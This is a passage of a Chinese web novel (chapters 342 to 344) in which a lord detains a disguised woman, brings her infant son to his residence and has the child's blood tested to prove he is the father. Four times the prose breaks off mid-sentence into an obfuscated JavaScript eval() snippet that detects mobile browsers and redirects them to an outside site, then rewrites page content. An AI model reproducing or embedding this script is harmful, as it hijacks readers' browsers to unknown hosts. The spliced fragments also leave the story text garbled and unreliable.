姜姝宁一夜未睡,始终惦念着小邺君,怕姜三夫人照顾不周,被焦灼与担忧反复煎熬,直到天边泛起一丝鱼肚白,倦意才如潮水般将她淹没。 她再也撑不住,头一歪,趴在桌上沉沉睡去。 也不知过了多久,一阵强烈的、几乎能穿透皮肉的注视感让她猛地惊醒。 萧凌川不知何时已经醒了,正悄无声息地站在桌前,居高临下地俯视着她。 他换下那身染血的衣袍,穿了件墨色的常服,脸色依旧苍白,但那双桃花眼里却再无半分虚弱,反而锐利如鹰隼,仿佛在审视一只无处可逃的猎物。 那眼神让她心头发毛。 “大……大人!”姜姝宁吓得魂飞魄散,整个人都清醒了,下意识地想站起来,却被手腕上的铁链扯得一个趔趄。 铁链发出“哗啦”一声脆响,在寂静的清晨里格外刺耳。 萧凌川的目光顺着铁链,落到她纤细的手腕上,那里的皮肤已经被磨出了一圈红痕。 他什么也没说,只是眼神暗了暗。 见她醒来,他不仅没有离开,反而俯下身,凑得更近了。 “你有点像……本官的一个故人。” 他靠得太近了。 近到她能看清他浓密纤长的睫毛,能闻到他身上特有的冷冽檀木香气息。 他说话时,温热的鼻息喷薄在她冰凉的脸颊上,带来一阵难以言喻的痒意,像有无数只小虫在爬。 姜姝宁的心跳瞬间漏了一拍,随即又被她强行按了下去。 她才不信他的鬼话! 她如今这张脸平平无奇,扔进人堆里都找不出来,怎么可能像他的什么故人? “大人说笑了,”她垂下眼,避开他过于逼人的视线,“民女出身乡野,从未见过大人这般尊贵的人物。” “是吗?”萧凌川轻笑一声,那笑声里带着一丝说不清道不明的意味。 下一刻,一只修长冰凉的手落在了她的脸上。 姜姝宁浑身一僵。 他的指腹带着薄茧,以一种近(乎)狎昵的姿态,缓缓划过她的脸颊,从下颌线一路向上,细细摩挲着她的颧骨,仿佛在确认一件稀世珍宝的真伪。 他的动作很慢,带着一种令人窒息的试探。 姜姝宁的脸颊瞬间烧了起来,比起羞涩,更多的是愤怒。 这算什么?调戏? 自己如今这张脸,寡淡得连自己都懒得多看一眼,怎么就能引得这位权贵上手了? 他平日里见过的绝色美人还少吗? 这景大人,莫不是有什么特殊的癖好? 当他的手指游走到她敏感的耳后,甚至顺着脖颈的曲线向下滑动时,姜姝宁脑中紧绷的弦“啪”地一声断了。 “大人,请自重!” 她也不知哪来的胆气,猛地抬手,“啪”的一声,狠狠拍开了那只在她身上游走的手。 屋内的空气瞬间凝固。 萧凌川的手背上浮起一道清晰的红痕,他缓缓收回手,眸色晦暗不明。 他摸遍了,她的脸颊、脖颈,甚至连最容易被忽略的耳后都仔仔细细探查过。 没有边缘,没有接缝。 皮肤的触感温热而真实,完全不像是戴了**。 难道……真的不是她? 这个念头刚一冒出来,就被他立刻掐灭。 不,不可能! 昏过去之前,他一头栽进她的颈窝,闻到了那股混合着淡淡药草香的熟悉馨香。 那是独属于姜姝宁的味道,是他曾经夜夜拥着入眠的味道! 为了验证,萧凌川再次俯身,这一次,他几乎将脸埋进了她的颈侧,然后,深深地吸了一口气。 没错!就是这个味道! 他猛地抬起头,目光灼灼地盯着她,仿佛要将她看穿。 姜姝宁被他这个诡异的举动彻底激怒了。 这人是狗吗?! 凑到人身上闻来闻去,成何体统!简直就是个疯子! 萧凌川看着她那双充满怒火和鄙夷的眼睛,心里反而定了下来。 **她用了什么法子改头换面,但她是不会轻易承认自己身份的。 也罢。 来日方长,他有的是时间和她慢慢耗。 他直起身子,脸上那股迫人的气势瞬间消散,取而代之的是一种懒洋洋的、理所当然的倨傲。 他懒懒地掸了掸衣袖上并不存在的灰尘,用命令的口吻道:“本官饿了,你去给本官做几道菜来。” “……” 这突如其来的转变让姜姝宁满头雾水。 前一刻还像个登徒子一样对她动手动脚,下一刻就变成了颐指气使的大爷要她做饭? 她都怀疑昨夜的**并非扎在他胸口,而是扎在他的脑子上了! 她还紧绷着神经,想着如何应对他接下来的挑逗和试探,他却轻飘飘地转了话头。 不过,这对她来说或许是件好事。 “大人……”她抓住这难得的机会,急切地问道,“民女给您做好了菜,是不是就能回去了?民女家中还有幼子,尚在襁褓,实在放心不下,不能在此逗留太久。”萧凌川听到“幼子”二字,心中发出一声冷笑。 幼子?想来就是他们的儿子,小邺君了。 他总算明白,为何萧怀瑾会日日往这“幼安堂”跑,原来是赶着献殷勤,把他的儿子还给姜姝宁,妄图博取她的欢心! 好,好得很。 他面上却不露分毫,只是懒懒地瞥了她一眼,嘴角噙着一抹若有似无的笑。 “那就要看,”他拖长了音调,一字一句地说,“你能不能做出,让本官满意的菜肴了!” 姜姝宁不疑有诈,为了能早些脱身,她诚恳地问:“不知大人可有什么口味喜好?民女定当竭尽所能,让您满意!” 萧凌川看着她卑微顺从的模样,眼底的嘲讽几乎要溢出来。 他嗤笑一声,随口道:“你就按照你平日里的喜好做就行了。” 姜姝宁恭顺地应道:“是,民女遵命。” 很快,萧凌川便唤来人帮姜姝宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355512|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解开身上的铁链,并送往后厨。 副将看着那女医的背影消失在拐角,脸上的疑惑几乎要满溢出来。 他本以为王爷醒来,第一件事就是严惩这个胆大包天、竟敢行刺的女人,谁想到竟是让她去做饭? 他终是忍不住,忧心忡忡地开了口:“王爷,这女子形迹可疑,身份不明,您竟还让她给您做饭,就不怕……她在您的饭食里下毒?” 萧凌川唇角勾起一抹冷酷的弧度。 “她确实有这个本事,”他声音低沉,带着一种掌控一切的笃定,“但本王不在意。” 他顿了顿,目光转向门外,变得幽深而狠戾:“你去,把她的孩子抱过来。再找两个身体康健的乳母好生照看着。本王要让她毫无牵挂地给本王做饭!” 副将浑身一凛,虽然不明白王爷葫芦里卖的什么药,但那语气里的森然寒意让他不敢多问一个字,立刻领命而去。 一个时辰后,饭菜的香气飘满了整个屋子。 只是这香气,有些过于霸道了。 姜姝宁将最后一道汤稳稳放在桌上,然后退到一旁,低眉顺眼地站着。 萧凌川的目光扫过桌面,原本还算缓和的脸色,一寸寸地阴沉下来,最后黑得能滴出水。 满满一桌菜,红彤彤的辣子鸡,汤汁浓郁的水煮鱼片上飘着一层呛人的花椒,就连那盘青菜,都淋着红油。 最让他瞳孔紧缩的,是那碗羊肉汤。 汤色奶白,本该是他最熟悉最喜爱的味道。 可如今,汤面上却密密麻麻地漂浮着一层细碎的姜丝,那刺鼻的气味仿佛在公然挑衅他。 他抬起眼,目光如刀,直直射向姜姝宁。 “你平日里,就是这样做菜的?”他的声音压抑着风暴,每个字都像是从牙缝里挤出来的。 姜姝宁仿佛丝毫未觉他滔天的怒意,反而带着几分献宝似的雀跃,介绍道:“大人,南朔地界湿热,吃些辣椒出身汗,能祛湿气,人也神清气爽。大人您尝尝这鱼,我平日里最爱吃了,鲜甜至极,保管您没吃过!还有这羊肉汤,最是温补,加了姜丝发散,效果更佳!” 她越是说得兴高采烈,萧凌川的心就越往下沉。 鲜甜至极? 效果更佳? 才多久不见,她就将他的喜好忘得一干二净! 她明知他从不碰辛辣,最厌恶鱼腥,对姜更是深恶痛绝! 这桌菜,没有一样是他能入口的。 这尖锐刺鼻的味道,像一根根烧红的针,狠狠扎进他心里。 难道……这是萧怀瑾的口味? 她口中的“夫君”,莫不就是萧怀瑾? 一想到她日日为另一个男人洗手作羹汤,做出的菜肴都是为了迎合对方的喜好,一股汹涌的妒意混合着暴怒,瞬间冲垮了他的理智。 他几乎是咬着后槽牙,一字一顿地问:“这些,怕不是你那‘夫君’的口味吧?” “不是。”姜姝宁几乎是脱口而出,她迎上他满是猜忌的目光,神情坦然。 “民女的夫君,口味挑剔得很,他绝不吃任何含有姜、葱、蒜的菜,也不肯吃鱼,嫌鱼太腥。” 第342章 性子坏得流脓,皮囊倒是生得极好 第三百四十二章性子坏得流脓,皮囊倒是生得极好 萧凌川脸上的嘲讽神色更甚。 看来她没忘记。 她记得清清楚楚,他厌恶什么,憎恨什么。 这满桌的辛辣和姜丝,便是她无声的挑衅。 看在她还愿意称他为“夫君”的份上,他暂且不追究此事。 “真巧。”他冷冷开口,声音里听不出喜怒,“本官和你夫君的口味,竟出奇的一致。既然如此,劳烦姜女医,现在就按照你夫君的口味,再给本官重新做一桌!” 姜姝宁垂在身侧的手指蜷了蜷。 她还能说什么? 人在屋檐下,不得不低头。 她无声地叹了口气,认命般地应了声“是”,转身便要往后厨走。 心中却是一阵懊恼和后怕。 就算她真的不知道这位景大人的喜好,他如今身负重伤,本就不该吃这些辛辣油腻的东西。 可自己偏偏就这么做了。 就在方才,看到他那张俊脸黑如锅底,怒意勃发的时候,她心底深处,竟然窜起了一丝丝阴暗的、幸灾乐祸的快感。 她一定是疯了! 竟敢去激怒这么一个喜怒无常的疯子,是嫌命太长了吗? 姜姝宁咬住下唇,将心头那点不合时宜的翻涌情绪强行压了下去,快步走进了后厨。 后厨里,锅碗瓢盆依旧。 这一次,她的动作不再带有任何挑衅的意味。 洗米,淘菜,切肉。 那些深埋在骨子里的习惯,根本无需思考便自行浮现。 洗净的青菜,只用上好的清油和盐巴清炒,碧绿生青。 新宰的鸡,去了骨,用最温和的药材小火慢炖,熬成一锅清亮的鸡汤。 就连米饭,都比平日里多淘洗了两遍,蒸得粒粒分明,软糯可口。 整个后厨,再闻不到一丝一毫姜、葱、蒜或是辣椒的霸道气味,只有食物最本真的清香。 当几道清淡雅致的菜肴重新摆上桌时,萧凌川紧绷的下颌线终于松弛了几分。 他看着那碗清澈见底的鸡汤,和那盘翠绿的青菜,眼底的寒意总算消融了些许。姜姝宁一直悄悄用余光观察着他的神色,见他面色稍霁,这才鼓起勇气,小心翼翼地开口:“大人,菜……已经做好了。若是没有别的吩咐,民女可以走了吗?婆母和幼子还在家中等我。” 她迫不及待地想要逃离这个令人窒息的地方。 “急什么?”萧凌川掀起眼皮,淡淡瞥了她一眼,“陪本官一起用膳。” “不必了,大人!”她想也不想地拒绝,“民女不饿。” 萧凌川的目光瞬间冷了下来。 “既然不饿,”他慢条斯理地说,“那就给本官布菜。” 姜姝宁在心里翻了个白眼。 这个狗官,怎么那么多破事儿? 使唤人还使唤上瘾了? 腹诽归腹诽,她不敢再有任何忤逆的举动,只能不情不愿地挪到桌边,拿起公筷,认命地开始为他布菜。 整个过程,她都垂着眼,绝不与他对视,忍气吞声到了极点。 终于,碗里堆起了一座小山。 她放下公筷,刚想退开,却听他又开了口。 “嘶……”萧凌川忽然皱起眉,发出一声抽气,脸色也白了几分,“伤口疼,手抬不起来。你来喂我吃。” 姜姝宁:“……” 她难以置信地看向这个男人。 还真是个矜贵无比的大少爷,娇生惯养到了这种地步? 吃饭都要人喂? 不对啊…… 一个娇气到手都抬不起来的人,前一天晚上是怎么做到面不改色地把**捅(进)自己胸口里的? 那一刀扎得那么狠,那么深,没有半分犹豫。 这个景大人,到底是个什么样的人? 时而疯癫暴戾,时而又像个娇气包,真是个莫名其妙的家伙! 她心中百转千回,脸上却不敢显露分毫。 忍着满心的不耐与腹诽,她拿起他碗边的汤匙,舀了一勺鸡汤,吹了吹,才妥帖地送到他唇边。 萧凌川就这么安然地受着她的伺候,一口汤,一口饭,吃得不紧不慢。 只是他那双眼睛,却一刻也没有离开过她的脸。 那目光意味深长,带着几分探究,几分怀念,还有一丝她看不懂的、沉沉的东西,像一张无形的网,将她牢牢笼罩。 屋子里静得可怕,只有汤匙与碗碟偶尔的轻碰声。 这样的寂静和对视,让姜姝宁浑身不自在,如芒在背。 就在她快要忍受到极限时,他忽然开口了,声音低沉而缓慢,带着一丝不易察觉的沙哑。 “姜女医,”他咀嚼着口中的饭菜,目光灼灼地看着她,“没觉得,这个场景……很熟悉?” 当初他为了救她伤了手时,也曾这般执意要她亲手喂食。 姜姝宁亦觉得眼前的场景熟悉得诡异,仿佛深埋于记忆深处的某段过往被轻轻触动,却怎么也抓不住那片模糊的影子。 她的心底泛起一丝不安,莫非,自己果真与这位景大人有过一段未曾忆起的纠葛? 她强行压下心头翻涌的情绪,不动声色地开口:“哦,是挺熟悉的。” 见他眼中闪过一丝光亮,她话锋一转: “民女平日里,也是这样喂我儿子狗蛋的。” 萧凌川脸上的所有表情,瞬间凝固。 他调情与戏弄的兴致顿时消退,只默默吃着她喂过来的饭菜,面无表情,下颌线绷得死紧。 屋内的气氛瞬间降至冰点,压抑得让人喘不过气。 姜姝宁能感觉到他周身散发出的低气压,像是一只被惹怒的猛兽,暂时收敛了爪牙,却在暗中窥伺,随时准备扑上来将她撕碎。 终于喂完这个煞神吃饭,姜姝宁如蒙大赦,连忙站起身,垂下头,恭敬地行了一礼:“大人,民女先行告退了。” “急什么?” 冰冷的声音从前方传来,不带一丝温度。 萧凌川慢条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355513|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯理地用锦帕擦了擦嘴角,抬起眼皮,那双漆黑的眸子直勾勾地盯着她。 “给本官换药!” 又来! 姜姝宁在心里哀嚎一声,脸上却不敢流露半分,只能硬着头皮应下:“是,大人。” 她认命地取来医药箱,心中将这狗官骂了千百遍。 这什么人啊! 一整天不用处理公务吗? 他存在的意义就是变着法儿地磨砺她? 萧凌川仿佛能看穿她的心思,瞧着她那副敢怒不敢言的憋屈模样,唇角勾起一抹阴鸷的冷笑。 他就是要看看,她如今这卑微如尘的身份,还能翻出什么风浪。 当他自己动手解开衣襟,将里衣褪下时,姜姝宁正低头准备纱布,一抬眼,呼吸猛地一滞。 热气轰然涌上她的脸颊,烧得她耳朵尖都红透了。 昨夜光线昏暗,又事发突然,她只顾着处理他胸口的伤,根本没留意别的。 直到此刻,在明亮的烛光下,他精壮的上半身就这么毫无遮挡地暴露在她眼前。 宽肩窄腰,肌肉线条流畅而充满了爆发力,并非那种夸张的蛮力,而是一种猎豹般的优雅与矫健。 这狗官,性子坏得流脓,皮囊倒是生得极好。 只是,这具堪称完美的身体上,遍布着大大小小的伤疤。 有刀伤,有箭伤,新旧交叠,像是一幅狰狞的画卷,无声地诉说着他曾经历过的无数次生死险境。 姜姝宁的心莫名地揪了一下。 她强迫自己移开视线,专心致志地为他清洗伤口,上药,包扎。 指尖偶尔触碰到他滚烫的肌肤,都像被烙铁烫了一下,让她指尖发颤。 终于换完了药,她飞快地收拾好东西,整个人都像是在火上烤,只想立刻逃离。 萧凌川的目光在她泛红的脸颊和滴血似的耳垂上流连,那双深不见底的眸子,颜色变得愈发晦暗不明。 “大人,民女……” 她刚想说“民女可以走了吗”,话还没出口,就被他打断了。 萧凌川撩起眼皮,姿态慵懒地靠在床头,懒洋洋地问:“你这么急着回家做什么?” 那语气,仿佛只是随口一问的闲聊。 可姜姝宁却听出了一丝不祥的预感。 她压下心头的不安,低声回答:“大人,民女的孩子还小,离不开娘亲,民女要回去照顾他。” 这无疑是她能寻到的最正当、也最不容拒绝的理由。 然而,萧凌川听后,却轻笑了一声。 那笑声很轻,却像淬了毒的羽毛,轻轻搔刮着她的耳膜,让她浑身汗**倒竖。 “哦,孩子啊。”他拖长了语调,神色依旧慵懒,“那你不用回去了。” 他顿了顿,欣赏着她骤然抬起的、写满惊愕的脸,然后一字一句,慢悠悠地宣布: “本官已经派人将它接到府里来了,你可以留在这里,安心照顾本官了。” “什么?”姜姝宁难以置信地瞪大了眼睛。 第343章 陪她玩猫捉老鼠的游戏 第三百四十三章陪她玩猫捉老鼠的游戏 话音刚落,他便懒懒地抬手,朝着门外扬了扬下巴。 “来人。” 没多久,两个穿着朴素的乳母便抱着一个襁褓,低着头快步走了进来。 姜姝宁的心跳瞬间漏了一拍,血液仿佛在这一刻凝固,手脚冰凉。 襁褓里的婴孩,正是她的小邺君。 小家伙看见了她,黑葡萄似的眼睛骤然一亮,立刻挣扎起来,两条胖乎乎的小藕臂朝她伸出,嘴里发出含糊不清的“呀呀”声,急切地想要一个抱抱。 他已经八个月大了,长得结实又精神,眉眼之间,像极了她易容前的模样。 完了。 这个念头如同一道惊雷,在她脑中轰然炸响。 姜姝宁几乎本能地将小邺君接了过来,将他紧紧圈在怀里。 她侧过身,试图用自己的身体挡住萧凌川投来的视线。 可她不知道,萧凌川早在进门的那一刻,就已经将小邺君的容貌看了个清楚。 他面上依旧是那副冷漠的模样,可垂在身侧的手,却在袖中悄然攥紧。 “你儿子,本官给你带来了。”他的声音平直得没有一丝起伏,“从今日起,你就在这里待着,直到本官的伤口痊愈为止。” 姜姝宁浑身一僵,惊怒交加地看着他:“大人,这怎么可以!民女还要开药馆讨生活,您还是让民女回去吧!” 萧凌川的眼神骤然冷了下来,像寒冬腊月里结了冰的湖面,没有一丝温度。 回去?然后让她找到机会,再一次从他眼皮子底下溜之大吉吗? 想都别想! “给本官治病,本官自然不会在钱财上亏待你。”他扯了扯嘴角,露出一抹讥讽的笑,“说吧,要多少银两?五百两,够不够?” 五百两? 姜姝宁被这数字噎了一下,心头窜起一股无名火。 怎么她遇到的都是些拿钱砸人的财大气粗的主? 从前的“萧凌川”,如今的“景大人”,皆是如此。 是不是在他们眼里,世间万物,包括人的尊严和自由,都可以用银子来衡量? “大人,这不是钱的问题!”她强压着怒气道,“民女是‘幼安堂’的女医,医馆里还有许多等着看诊的孩童。民女若是不开店,那些生病的孩子怕是无人医治!还请大人体恤,让民女回去继续开店!” 萧凌川轻嗤一声:“你无需担心。本官已经派了一名大夫前往你的‘幼安堂’,暂代你为那些孩童治病。那人医术高明,想来,不会让你的那些小病患失望的。” 姜姝宁嘴角微抽:“既然大人手下有这样医术高明的大夫,为何不让他来为大人您医治伤口?何必非要强留民女?” 萧凌川深深地盯着她,那眼神意味深长,带着几分戏谑,又藏着她看不懂的晦暗。他薄唇轻启,吐出两个字: “你猜?” 姜姝宁彻底无语凝噎。 好在他丢下这句令人火大的话便转身离开了,没再多做纠缠。 随着他高大的身影消失在门外,屋内的空气仿佛都重新开始流通,那股压得人喘不过气的沉重感也随之消散。 姜姝宁长长吐出一口浊气,整个人都松弛下来。 又饿又困又惊又怒,她觉得自己快要散架了。 怀里的小邺君似乎感受到了娘亲的疲惫,乖巧地趴在她肩头,小手抓着她的衣襟,不再哭闹。 有儿子在身边,总算是一种安慰。 她顾不上别的,抱着孩子在桌边坐下,看着桌上还温着的饭菜,也顾不得什么礼仪,抓起碗筷便狼吞虎咽起来。 只有填饱肚子,才有力气想办法,怎么才能从这个鬼地方离开。 小邺君在她怀里安静了一会儿,又开始不安分地扭来扭去,小身子拱来拱去,嘴里还发出委屈的“嗯嗯”声。 姜姝宁察觉到异样,连忙放下碗筷,低头看他:“怎么了君儿?是肚子饿了吗?” 谁知小家伙却没看她,只是扁着小嘴,委屈巴巴地向她举起自己的左手。 姜姝宁疑惑地握住那只肉乎乎的小手,凑近一看,在他的手背上,虎口附近的位置,赫然有一个细小的、已经微微泛红的针眼! 那绝不是蚊虫叮咬的痕迹,分明是被人用针扎出来的伤口! 一股冰冷的寒意从脚底直冲天灵盖,姜姝宁的血液霎时间凉透了。 是谁?是谁干的?是那两个乳母?还是萧凌川府上的下人? 他们竟然对一个才八个月大的孩子下手! 她心疼得无以复加,小心翼翼地握着儿子的手,将那小小的伤口凑到唇边,轻轻地吹了吹气,用最温柔的声音安抚道:“娘亲呼呼,不痛不痛了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369235|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小邺君似乎听懂了,眨了眨挂着泪珠的长睫毛,终于破涕为笑,在她脸上蹭了蹭。 姜姝宁抱着怀里温软的儿子,可她的眼神却一点点冷了下来,淬上了冰,结成了霜。 这是给她的警告吗? 萧凌川来到衙门里的另一间厢房。 厢房内,一位须发皆白的老者正在灯下整理药箱,见到他进来,连忙起身,动作恭敬地躬身行礼:“王爷。” “孙神医,不必多礼。”萧凌川随意地摆了摆手,径直走到主位坐下,“结果如何?” “老夫方才已用了‘合血法’,将您和小公子的血液进行相融试验。那滴血珠入水即合,毫无排斥,小公子确是您的亲生骨肉!” 萧凌川端起桌上的茶盏,指腹摩挲着温热的杯壁,脸上没有半分意外。 这个结果,他从看到那孩子眼睛的一瞬间,就已经猜到了。 他呷了口茶,将茶盏重重放下,发出“嗒”的一声轻响。 “孙神医,本王想请教一事。” “王爷但说无妨。” “除了**,”萧凌川的目光锐利如刀,直直射向孙神医,“世间可还有其他法子,能让人的容貌发生剧变,判若两人?” 孙神医捋着花白的胡须,沉吟片刻道:“寻常的易容术不过是些障眼法,,但老夫曾在一本南月国的孤本上看到过记载,确有一种秘药,能重塑人的骨骼肌理,从而彻底改变容貌。 此药名为‘易容丸’,乃南月不传之秘。只是这药效并非永久,药力会随时间流逝而减弱,必须每隔半月按时服用,方能维持易容后的样貌。一旦断了药,不出十来日,便会恢复原状。” “原来如此。”萧凌川靠回椅背,指节轻轻敲击着桌面,发出的规律声响在安静的房间里格外清晰。“那就是了,想来姝宁服用的,便是此物。” 孙神医心中一凛,试探着问道:“王爷,您是说……今日带回衙门的那位女医,就是失踪的王妃?” “是。” 萧凌川的脸上浮起一丝阴鸷的笑,那笑意不达眼底,反而让他的眼神显得愈发冰冷。 “接下来,只需等着她自露马脚便可。” 他倒要亲眼看看,等这所谓的“易容丸”失效后,她还怎么在他面前扮作一副素不相识的模样! 他有的是时间和耐心,陪她玩这场猫捉老鼠的游戏。 第344章 她又落到那个魔鬼手中 第三百四十四章她又落到那个魔鬼手中 姜姝宁才将小邺君哄睡,厢房的门便被人从外面推开。 来人一身玄色锦袍,身姿挺拔,面容冷峻,正是萧凌川。 他走进来,不带一丝声响,却携来一股无形的压迫感,让屋内的空气都紧绷了几分。 他扫了一眼床榻上安睡的婴孩,目光便落回到姜姝宁身上,神色依旧冰冷:“陪本官用膳。” 那不是商量,是命令。 姜姝宁心跳漏了一拍,下意识地攥紧了衣袖。 “大人,民女的婆母身体不好,常年卧病。民女被大人带走一夜,心中实在担心她,能不能……能不能让民女回去一趟,见见我的婆母?” 这是她能想到的唯一借口。 她想去拿姜天泽留下的那盒易容丸。 药效就快要过了,她必须尽快找到机会服下下一颗,以免变回原来的模样。 若自己从前当真跟眼前这个喜怒无常的男人有什么她不知道的瓜葛,那岂不是插翅难飞? “婆母?” 萧凌川唇角勾起一个嘲讽的弧度,那笑声从喉咙深处滚出来,又冷又刺耳。 “本官的人去你那宅子时,可根本没瞧见你口中那位生病的婆母。” 姜姝宁的血一下子凉了半截,她不敢置信地瞪大眼睛:“怎么会?她……” 她猛地想起什么,急切地问,“那……那大人是如何找到君儿的?” 萧凌川居高临下地看着她,眼神里没有半点温度:“这孩子,就被随意地扔在床榻上,本官的人进去时,他正扯着嗓子嚎啕大哭,脸都憋紫了。” 他顿了顿,欣赏着她脸上血色褪尽的模样,慢悠悠地补上一刀,“你若不信,本官现在就可以带你去瞧瞧,看看你家里是不是连个鬼影都没有。” 姜姝宁当然不信。 姜三夫人怎么会丢下一个几个月的孩子不管? 萧凌川似乎没什么耐心,径直上前一步,拽着她的手腕,一路拉着她出了衙门。 到了那条熟悉的巷口,姜姝宁却迟疑地停下脚步。 她没有径直走进那座宅子,而是拦住一个刚从巷中踱步而出的老者问:“这位大爷,请问……住在那间宅子里的婶子,您可知她去了何处?” 那年迈的大爷上下打量了她几眼,摇了摇头,语气中带着几分不耐:“我哪儿晓得她去了哪里!昨夜你被那当官的大人抓走后,她怕是担心惹祸上身,连夜卷了铺盖就跑了,跑得比受惊的兔子还快!” 大爷又重重叹了口气,声音里满是怜悯,“可怜那小娃娃啊,在屋里哭得撕心裂肺,嗓子都喊哑了,隔着老远听着都叫人心酸!” 姜姝宁只觉心口猛地一缩,像是被一只无形的手狠狠攥紧,连呼吸都变得艰难。 怎么会这样? 姜三夫人……她竟真的狠心丢下小邺君不管,自己逃了? 就因为害怕被牵连,她连一个襁褓中的婴孩都能弃之不顾? 萧凌川就站在她身旁,一言不发,眉梢眼角是掩饰不住的讥诮,比任何刻薄的话语都更伤人。 “如何?”他终于开了口,声音里带着毫不掩饰的嘲弄,“你心心念念着你的婆母,可人家,似乎压根就没把你和你的儿子放在心上啊。” 姜姝宁抬起头,复杂的目光落在他脸上。 这个所谓的景大人,究竟是什么来头? 竟能让姜三夫人怕到连一个孩子都顾不上了,连夜逃命? 自己失忆前,会不会也得罪过他? 若是自己这张脸恢复了原样,被他认出来…… 想想都觉得头皮发麻。 她强行压下心头的惊涛骇浪,垂下眼帘:“大人,民女想……回宅子里收拾些东西。” “好啊。”萧凌川答应得异常爽快,嘴角那抹笑意却更深了,“本官陪你。” 进了宅邸,她佯装镇定地进屋,走到床边,开始收拾衣衫。 萧凌川就抱臂倚在门框上,那道目光如有实质,如芒在背,让她每根神经都紧绷着。 她假意弯腰去捡掉在地上的衣服,趁着身体被床沿遮挡的瞬间,飞快地将藏在枕头下的那个油纸包摸了出来,用最快的速度塞进了几件贴身衣物的最里层,然后胡乱地将一堆衣服抱在怀里。 整个过程,她的心跳快得几乎要冲出喉咙。 回到衙门,小邺君已经醒了,正被一个陌生的乳母抱着,要去另一个厢房喂奶。 一想到小邺君手上那被针扎的痕迹,姜姝宁心头一紧,顾不上其他,三步并作两步跟了过去,生怕儿子再受到什么伤害。 看着她紧张兮兮离去的背影,萧凌川眼底的墨色愈发浓重。 他没有跟过去,而是转身,朝着孙神医所在的厢房走去。 房门推开,他走到桌前,缓缓摊开手掌。 一枚用蜡封好的小小药丸,正静静躺在他的掌心。 方才他不动声色地从那叠衣物的夹层里,将这东西“顺”了出来。 “本王在王妃的物品里,发现了这个。”他将那颗药丸递到孙神医面前,声音冷冽,“想来,这便是那所谓的‘易容丸’了。你看看,能不能配置出相应的解药,让这药丸的效果,提前褪去。” 孙神医小心翼翼地接过那颗药丸,放在鼻尖轻嗅,又用指甲刮下一点粉末捻了捻,神色立刻变得凝重起来。 他躬身,语气无比恭敬:“是,王爷,老夫定会尽快配置出解药!” —— 夜色如墨,南朔县城的街巷早已沉寂。 姜天泽风尘仆仆,绕过几个巡逻的更夫,正要拐向那处藏着他所有念想的宅邸,冷不防从暗影里伸出一只手,猛地将他拽进了一个逼仄的转角。 他心头一跳,手下意识摸向腰间的短刃,可下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369236|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞬,那人便急促地开了口,声音压得极低,却透着一股熟悉感:“天泽,是我!” 姜天泽定睛一看,借着远处灯笼漏出的微光,辨认出眼前之人是他易容后的母亲姜三夫人。 他紧绷的肌肉瞬间松懈,取而代之的是汹涌而上的困惑与不安。 “母亲?你怎么会在这里?阿宁呢?她没跟你一起?” 姜三夫人死死抓着他的胳膊,声音抖得厉害:“天泽,出事了!景王找来了,阿宁被他带走了!” “轰”的一声,姜天泽只觉得脑子里有什么东西炸开了,眼前阵阵发黑。 他扶住冰冷的墙壁,才勉强稳住身形。 “怎么会这样?”他不敢置信地反问,声音都变了调,“他来南朔做什么?阿宁不是已经换了脸吗?他怎么可能认出来?” “我也不知道!”姜三夫人神色凝重,“他前几日忽然带着官兵封了城,挨家挨户地核查身份。他站在阿宁面前,问了她几个不相干的问题,然后就说要她随他回衙门救人。直到现在,人还没放出来!” 每一个字都像一柄重锤,狠狠砸在姜天泽的心上。 他浑身抑制不住地发起抖来,一双漂亮的丹凤眼迅速充血,红得骇人。 他好不容易才将阿宁从那个恶魔的囚笼里夺回来。 他们才刚刚有了一个可以重新开始的机会,过了一段安宁日子,怎么就又被他找到了? 一股腥甜涌上喉头,他强行咽下,胸腔里翻滚的是无边无际的恨意。 “岂有此理!堂堂大邺王爷,竟公然强抢民女!我要去县衙告他!我要去讨个公道!” 他猛地要冲出去,却被姜三夫人死死拉住。 